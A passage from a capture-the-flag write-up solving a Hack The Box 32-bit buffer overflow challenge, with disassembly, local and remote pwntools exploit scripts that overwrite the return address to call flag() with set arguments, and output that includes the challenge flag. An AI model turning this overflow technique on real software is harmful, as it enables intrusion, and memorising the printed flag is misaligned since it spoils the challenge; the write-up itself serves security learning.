│     ││┌─< 0x0804926a      eb01           jmp 0x804926d
│     │││   ; CODE XREF from sym.flag @ 0x8049256
│     │└──> 0x0804926c      90             nop
│         ; CODE XREFS from sym.flag @ 0x8049267, 0x804926a
│     └─└─> 0x0804926d      8b5dfc         mov ebx, dword [var_4h]           0x08049270      c9             leave
└           0x08049271      c3             ret
[0x080491e2]>

So we know the start of the flag() function, which is '0x080491e2'. We have already managed to overflow and overwrite the stackpointer with '0x42424242' ('BBBB'), so now we only have to do it again, but now with the legal memoryaddress of the flag() function.

Finding the parameters of the flag() function with Ghidra

We know how to jump to the flag() function, but as we can see in our previous investigations we need to pass it some parameters too:

Screen 1 - A overview of the flag() function:

Screen 2 - A zoomed, decompiled view of the flag() function:

Screen 3 - Convert the parameters from hex to char:

Screen 4 - The full solution:

Write the attack using pwntools

First install python3 pwntools and check that it is working:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ apt-get update
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ python3 -m pip install --upgrade pip
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ python3 -m pip install --upgrade pwntools
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> p32(0x080491e2)
b'\xe2\x91\x04\x08'
>>>

We have all the pieces of information available, so now we just chain them together in a file called local_exploit.py:

#!/usr/bin/python3
from pwn import *

p = process('./vuln')

payload = b'A'*188
payload += p32(0x080491e2)
payload += p32(0x00000000)
payload += p32(0xdeadbeef)
payload += p32(0xc0ded00d)

p.recvline()
p.sendline(payload)
p.interactive()

And make it executable:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ chmod +x local_exploit.py 
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ ./local_exploit.py 
[+] Starting local process './vuln': pid 1084078
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe2\x9
This is a local flag so that I can test without the serverinsta[*] Got EOF while reading in interactive
$ 
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 1084078)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "/home/0xdiablos/.local/lib/python3.9/site-packages/pwnlib/tubes/process.py", line 787, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe

Partially success! It showed the content of our local flag.txt file, which is what we wanted. Now we have to extend it to run against the gamingserver that you started when you downloaded the file.

Create new file remote_exploit.py:

#!/usr/bin/python3
from pwn import *

IP = 'your.gaming.server.ip'
PORT = your.gaming.server.port

p = remote(IP,PORT)

payload = b'A'*188
payload += p32(0x080491e2)
payload += p32(0x00000000)
payload += p32(0xdeadbeef)
payload += p32(0xc0ded00d)

p.recvline()
p.sendline(payload)
p.interactive()

Make it executable and run it:

0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ chmod +x remote_exploit.py  
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$ ./remote_exploit.py 
[+] Opening connection to 206.189.21.230 on port 32661: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe2\x9
HTB{0ur_Buff3r_1s_not_healthy}[*] Got EOF while reading in interactive
$
[*] Closed connection to 206.189.21.230 port 32661
[*] Got EOF while sending in interactive
0xdiablos@kali:/mnt/hgfs/kali_share/challenge-youknow0xdiablos$

Yeah, we got the flag!

The code explain itself, and all the input values are part of the investigations we have conducted so far. You can read more about pwntools at: https://docs.pwntools.com/en/stable/intro.html#tutorials